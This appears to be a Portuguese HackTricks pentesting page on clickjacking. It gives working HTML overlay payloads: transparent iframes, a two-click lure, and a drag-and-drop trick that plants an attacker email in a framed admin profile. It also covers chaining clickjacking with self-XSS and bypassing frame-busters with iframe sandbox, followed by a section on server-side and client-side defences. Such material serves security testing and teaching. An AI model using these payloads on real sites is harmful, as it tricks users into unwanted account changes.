hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:


Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

O que é Clickjacking

Em um ataque de clickjacking, um usuário é enganado para clicar em um elemento em uma página da web que está invisível ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.

Truque de pré-preenchimento de formulários

Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.

Preencher formulário com Arrastar e Soltar

Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para Arrastar e Soltar algo que escreverá seus dados controlados como neste exemplo.

Payload Básico

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Carga Única

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Arrastar e Soltar + Payload de Clique

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um ataque de XSS que requer que um usuário clique em algum elemento para acionar o XSS e a página é vulnerável ao clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável ao Clickjacking e você pode pré-preencher o formulário com os parâmetros GET.
__Um atacante poderia preparar um ataque de Clickjacking para essa página pré-preenchendo o formulário com o payload XSS e enganando o usuário a enviar o formulário. Assim, quando o formulário for enviado e os valores forem modificados, o usuário executará o XSS.

Estratégias para Mitigar o Clickjacking

Defesas do Lado do Cliente

Scripts executados no lado do cliente podem realizar ações para prevenir o Clickjacking:

  • Garantir que a janela da aplicação seja a janela principal ou superior.
  • Tornar todos os frames visíveis.
  • Impedir cliques em frames invisíveis.
  • Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.

No entanto, esses scripts de quebra de frames podem ser contornados:

  • Configurações de Segurança dos Navegadores: Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte ao JavaScript.
  • Atributo sandbox do iframe HTML5: Um atacante pode neutralizar scripts de quebra de frames definindo o atributo sandbox com os valores allow-forms ou allow-scripts sem allow-top-navigation. Isso impede que o iframe verifique se é a janela superior, por exemplo,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

As valores allow-forms e allow-scripts permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.

Defesas do Lado do Servidor

X-Frame-Options

O cabeçalho de resposta HTTP X-Frame-Options informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame> ou <iframe>, ajudando a prevenir o Clickjacking:

  • X-Frame-Options: deny - Nenhum domínio pode enquadrar o conteúdo.
  • X-Frame-Options: sameorigin - Apenas o site atual pode enquadrar o conteúdo.
  • X-Frame-Options: allow-from https://trusted.com - Apenas o 'uri' especificado pode enquadrar a página.
  • Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.

Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)

A diretiva frame-ancestors na CSP é o método recomendado para proteção contra Clickjacking:

  • frame-ancestors 'none' - Semelhante a X-Frame-Options: deny.
  • frame-ancestors 'self' - Semelhante a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Semelhante a X-Frame-Options: allow-from.

Por exemplo, a seguinte CSP permite apenas o enquadramento do mesmo domínio:

Content-Security-Policy: frame-ancestors 'self';

Mais detalhes e exemplos complexos podem ser encontrados na documentação da CSP frame-ancestors e na documentação da CSP frame-ancestors da Mozilla.

Política de Segurança de Conteúdo (CSP) com child-src e frame-src

A Política de Segurança de Conteúdo (CSP) é uma medida de segurança que ajuda a prevenir o Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir carregar conteúdo.

Diretiva frame-src

  • Define fontes válidas para frames.
  • Mais específico do que a diretiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite frames da mesma origem (self) e https://trusted-website.com.

Diretiva child-src

  • Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
  • Atua como um fallback para frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.

Notas de Uso:

  • Descontinuação: child-src está sendo substituído por frame-src e worker-src.
  • Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.
  • Definição de Fonte Estrita: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.

Scripts JavaScript de Quebra de Frames

Embora não seja totalmente à prova de falhas, scripts de quebra de frames baseados em JavaScript podem ser usados para evitar que uma página da web seja enquadrada. Exemplo:

if (top !== self) {
top.location = self.location;
}

Utilizando Tokens Anti-CSRF

  • Validação de Token: Utilize tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não por meio de uma página Clickjacked.

Referências


Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: